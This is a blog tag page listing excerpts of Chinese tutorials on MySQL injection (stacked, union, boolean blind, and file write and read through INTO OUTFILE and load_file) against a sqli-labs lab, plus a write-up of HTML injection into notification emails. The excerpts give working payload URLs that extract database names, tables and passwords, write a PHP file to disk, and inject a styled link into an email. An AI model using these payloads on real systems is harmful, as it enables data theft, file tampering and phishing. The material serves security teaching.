网站首页 包含标签 注入 的所有文章

  • Mysql注入 -- 堆叠注入

    一、堆叠注入介绍 1、多条sql语句同时执行 2、union只能执行查询语句,堆叠可以执行增删改查 3、同时执行三条语句 select 1;select 2;select 3; 二、插入注入 1、找到注入点,添加一条数据 http://192.168.139.129/sqli/Less-38/?id=1';insert into users(id,username,password) values(66,'aiyou','bucuo') --+ 再次访问http://192.168.139.129/sqli/Less-38/?id=66 2、获取数据库名称 http://192.168.139.129/sqli/Less-38/?id=1';insert into users(id,username,password) values(67,database(),'bucuo') --+ 再次访问http://192.168.139.129/sqli/Less-38/?id=67获取数据库名称 3、获取数据库中的表名 http://192.168.139.129/sqli/Less-38/?id=1';insert into users(id,username,password) values(71,(select table_name from information_schema.tables where table_schema=0x7365637572697479 limit 2,1) ,(select table_name from information_schema.tables where table_schema=0x7365637572697479 limit 3,1)) --+ 再次访问http://192.168.139.129/sqli/Less-38/?id=71获取表名信息 4、获取表中的字段名 http://192.168.139.129/sqli/Less-38/?id=1';insert into users(id,username,password) values(74,(select column_name from information_schema.columns where table_name="users" limit 13,1) ,(select column_name from information_schema.columns where table_name="users" limit 12,1)) --+ 再次访问http://192.168.139.129/sqli/Less-38/?id=74获取字段信息 三、删除删除注入 http://192.168.139.129/sqli/Less-38/?id=1';delete from users where id=74 and sleep(if((select database())=0x7365637572697479,5,0)); 禁止非法,后果自负 ...

    2021-05-22 580
  • Mysql注入 -- 数据库导出及读文件

    一、数据库导出文件 1、连接数据库 2、通过into outfile导出数据库内容 select * from users into outfile "c:/1.sql"; 3、通过into outfile语句,在C盘目录写入一句话木马 select '<?php phpinfo();?>' into outfile "c:/aiyou.php"; 4、通过实例导出一句话,避免单引号问题,可以将一句话内容编码为十六进制 http://192.168.139.129/sqli/Less-2/?id=1 and 1=2 union select 1,2,'<?php phpinfo();?>' into outfile 'c:/aiyou.php' --+http://192.168.139.129/sqli/Less-2/?id=1 and 1=2 union select 1,2,0x3c3f70687020706870696e666f28293b3f3e into outfile 'c:/aiyou.php' --+ 提示: 导入文件需要修改mysql的一个参数值,打开my.cnf 或 my.ini,加入以下语句后重启mysql。 secure_file_priv='' 二、读文件 1、连接Mysql数据库,读取C盘的aiyou.php内容 select load_file("c:/aiyou.php"); 2、通过联合查询,将读到的内容显示出来,为避免引号的问题,将路径编码为十六进制 http://192.168.139.129/sqli/Less-2/?id=1 and 1=2 union select 1,2,load_file("c:/1.sql");http://192.168.139.129/sqli/Less-2/?id=1 and 1=2 union select 1,2,load_file(0x633a2f312e73716c) --+ 禁止非法,后果自负 ...

    2021-05-15 615
  • Mysql注入 -- 联合注入

    一、常用命令及函数 1、order by排序,获取数据有几个字段,后面小于等于字段数,都会返回结果,大于字段数返回错误 select * from users order by 3; 2、union select联合查询,后边必须跟一样的字段数 select * from users union select 1,2,5; 3、user()查看当前mysql用户 4、version()查看mysql版本信息 5、database()查看当前数据库名 select * from users union select user(),version(),database(); 二、跨库查询 1、获取aiyou数据库中表 select * from users union select 1,2,table_name from information_schema.tables where table_schema="aiyou"; 2、获取下一个表格 select * from users union select 1,2,table_name from information_schema.tables where table_schema="aiyou" limit 0,1;select * from users union select 1,2,table_name from information_schema.tables where table_schema="aiyou" limit 1,1;select * from users union select 1,2,table_name from information_schema.tables where table_schema="aiyou" limit 2,1; 3、获取字段名 select * from users union select 1,2,column_name from information_schema.columns where table_name="bucuo"; 4、获取字段内容 select * from users union select 1,2,username from users; 三、实例演示(sqli环境) 1、判断表有多少字段,order by 3返回正常,所以有三个字段 http://192.168.139.129/sqli/Less-2/?id=1 order by 3 2、联合查询可以显示的数列,让前面的select语句报错,才能执行后面的select语句 http://192.168.139.129/sqli/Less-2/?id=1 and 1=2 union select 1,2,3 3、获取数据库名字和版本信息,因为1不能显示,所以将2和3替换为version(),database() http://192.168.139.129/sqli/Less-2/?id=1 and 1=2 union select 1,version(),database() 4、获取数据库security的表 http://192.168.139.129/sqli/Less-2/?id=1 and 1=2 union select 1,2,table_name from information_schema.tables where table_schema="security" 获取第二个表、第三个表 http://192.168.139.129/sqli/Less-2/?id=1 and 1=2 union select 1,2,table_name from information_schema.tables where table_schema="security" limit 1,1 -- 5、获取表名为users的字段名 http://192.168.139.129/sqli/Less-2/?id=1 and 1=2 union select 1,2,column_name from information_schema.columns where table_name="users"http://192.168.139.129/sqli/Less-2/?id=1 and 1=2 union select 1,2,column_name from information_schema.columns where table_name="users" limit 1,1 -- 6、获取字段内容 http://192.168.139.129/sqli/Less-2/?id=1 and 1=2 union select 1,2,username from usershttp://192.168.139.129/sqli/Less-2/?id=1 and 1=2 union select 1,2,username from users limit 1,1 -- 禁止非法,后果自负 ...

    2021-05-15 514
  • Mysql注入 -- 布尔注入

    一、常用函数 1、mid(str,1,5):取字符串str的前5个字节 2、ord():转换成ASCII码 3、length():统计长度 4、 ascii():将字符转换ASCII 二、实例演示 1、and 1=1 访问http://192.168.139.129/sqli/Less-8/?id=1' and 1=1 --+ 返回正确 2、and 1=2 访问http://192.168.139.129/sqli/Less-8/?id=1' and 1=2 --+ 返回错误 3、判断数据库长度 http://192.168.139.129/sqli/Less-8/?id=1' and length(database())>=8 --+返回正常,说明数据库长度为8http://192.168.139.129/sqli/Less-8/?id=1' and length(database())>=9 --+返回错误 4、判断数据库第一个字母 http://192.168.139.129/sqli/Less-8/?id=1' and mid(database(),1,1)='s' --+ 不停的修改二十六个字母,知道正确为之 5、判断数据库第二个字母 http://192.168.139.129/sqli/Less-8/?id=1' and mid(database(),2,1)='e' --+ 最终获取数据库的名称为“security” 6、获取表名,最终获取表名users http://192.168.139.129/sqli/Less-8/?id=1' and mid((select table_name from information_schema.tables where table_schema=database() limit 3,1),1,1)='u' --+ 7、获取字段名,最终获取字段名password http://192.168.139.129/sqli/Less-8/?id=1' and mid((select column_name from information_schema.columns where table_name='users' limit 12,1),1,1)='p' --+ 8、获取字段内容,最终获取一个名为admin的内容 http://192.168.139.129/sqli/Less-8/?id=1' and mid((select password from users limit 8,1),1,1)='a' --+ 禁止非法,后果自负 ...

    2021-05-15 645
  • 利用电子邮件中的HTML注入

    HTMLi是一个在呈现HTML代码的任何应用程序中可利用的漏洞。电子邮件是其中之一。 本文的其余部分说明了如何通过目标上的注释通知功能将HTML注入电子邮件中。 Part 01 记得这里未讨论的HTML注入吗? 因此,在通知电子邮件中反映了comment和presentationTitle参数的值。 最初看起来如下: {"type":"SlideComment","recipients":[],"teamAlias":"EEqSBdu9z49","data":{"comment":"This is Redacted","commenterId":"01234567","commenterProfileImage":"","presentationUUID":"x14r5K1tFnH","presentationTitle":"Welcome to Redacted Copy www.footstep.ninja","slideLocalId":"5p3nrib"}} 然后,在为参数注入presentationTitleHTML属性后,它看起来如下所示: {"type":"SlideComment","recipients":[],"teamAlias":"EEqSBdu9z49","data":{"comment":"Comments are great!","commenterId":"01234567","commenterProfileImage":"","presentationUUID":"x14r5K1tFnH","presentationTitle":"Welcome to Redacted\" <br/><br/> <div style='color:#1a3a69;line-height:1.5em;font-size:18px;text-align:center'>This is a test comment</div><br/> <a style='background-color:#f68270;border:1px solid #333333;border-color:#f68270;border-radius:6px;border-width:1px;color:#ffffff;display:inline-block;font-family:arial,helvetica,sans-serif;font-size:16px;font-weight:bold;letter-spacing:0px;line-height:16px;padding:12px 18px 12px 18px;text-align:center;text-decoration:none' href='https://footstep.ninja' target='_blank' data-saferedirecturl='https://footstep.ninja'>View Deck</a> <!-- Copy https://www.footstep.ninja","slideLocalId":"5p3nrib"}} Part 02 自然通知如下所示: Part 03 看起来像这样; 通过查看原始消息,我得到了确切的HTML:单击省略号,然后单击“显示原始” ...

    2020-11-26 875

联系我们

在线咨询:点击这里给我发消息

QQ交流群:KirinBlog

工作日:8:00-23:00,节假日休息

扫码关注